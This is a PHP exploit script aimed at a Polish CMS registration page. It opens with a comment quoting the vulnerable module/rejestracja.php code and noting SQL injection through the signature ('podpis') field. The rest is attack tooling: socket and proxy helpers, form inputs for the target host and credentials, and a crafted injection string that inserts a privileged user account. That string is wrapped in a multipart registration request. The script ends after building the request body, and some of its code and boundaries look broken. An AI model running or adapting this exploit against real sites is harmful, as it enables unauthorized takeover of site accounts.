/*
vulnerable code => module/rejestracja.php line 56-87:
....
function ok()
{
global $login,$haslo,$email,$miasto,$www,$gg,$tlen,$poziom,$podpis,$last_log,$logowan,$komentarzy,$odwiedzin,$ip,$lan;
$query=mysql_query("SELECT login FROM uzytkownicy WHERE login='".$login."'");
if (!$login) {

echo 'Nie poda³e¶ Loginu';
} elseif (!$haslo){
echo 'Nie poda³e¶ has³a';
} elseif (!$email)
{
echo 'Nie poda³e¶ e-maila';
} elseif(mysql_num_rows($query)==0)
{
if($www=='http://') $www = '';
if($gg=='gg:') $gg = '';
if($tlen=='tlen:') $tlen = '';
$haslomd5 = md5($haslo);
$ip = $_SERVER['REMOTE_ADDR'];
$query1 = "INSERT INTO uzytkownicy VALUES(NOT NULL, '$login', '$haslomd5', '$email', '$miasto', '$www', '$gg', '$tlen', '$poziom', '$podpis', NOW(), '$last_log', '$logowan', '$komentarzy', '$odwiedzin', 'offline', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '0', '0', '0', '$ip')";
$result = mysql_query ($query1);
if($result)
{
echo '<br>'.$lan['registration_add'].'<br>';
}
else
{
echo '<br>'.$lan['registration_add_error'].'<br><br>';
}
}
else
{
....
when we register to new user in $podpis we can insert in SQL injection ;-)

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
ob_implicit_flush (1);
function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td>  </td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {
echo "<td>0".htmlentities($datai)."</td>";
}
else {
echo "<td>".htmlentities($datai)."</td> ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket()
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid proxy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='') {
$result = socket_connect($socket, $host, $port);
}
else {
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else {
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}

function refresh()
{
flush();
ob_flush();
usleep(5000000000);
}

function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid prozy...';die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);echo nl2br(htmlentities($html));
}

function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

$host=$_POST[host];$port=$_POST[port];$path=$_POST[path];
$USER=$_POST[USER];$PASS=$_POST[PASS];$proxy=$_POST[proxy];

echo "<span class=\"Stile5\">";

if (($host<>'') and ($path<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

}
if (($host<>'') and ($path<>'') and ($USER<>'') and ($PASS<>''))
{

$sql="') INSERT INTO uzytkownicy VALUES(1, Kacper, b98092e78aa47e68ae2ba617137960a4, devilteam@hackers.pl, NULL, http://www.rahim.webd.pl/, NULL, NULL, 0, DEVILTEAM, NOW(), 99999, 99999, 99999, 9999, offline, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, 0, 4)/*";
$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="login";

'.$USER.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="haslo";

'.$PASS.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="email";

devilteam@polish-hackers.pl
-----------------------------7d62702f250530
Content-Disposition: form-data; name="miasto";

localhost
-----------------------------7d62702f250530
Content-Disposition: form-data; name="www";

http://www.rahim.webd.pl/
-----------------------------7d62702f250530
Content-Disposition: form-data; name="gg";

000000
-----------------------------7d62702f250530
Content-Disposition: form-data; name="tlen";

h20
-----------------------------7d62702f250530--
Content-Disposition: form-data; name="podpis";

'.$sql.'
-----------------------------7d62702f250530--
Content-Disposition: form-data; name="Dodaj";

Dodaj
-----------------------------7d62702f250530--
';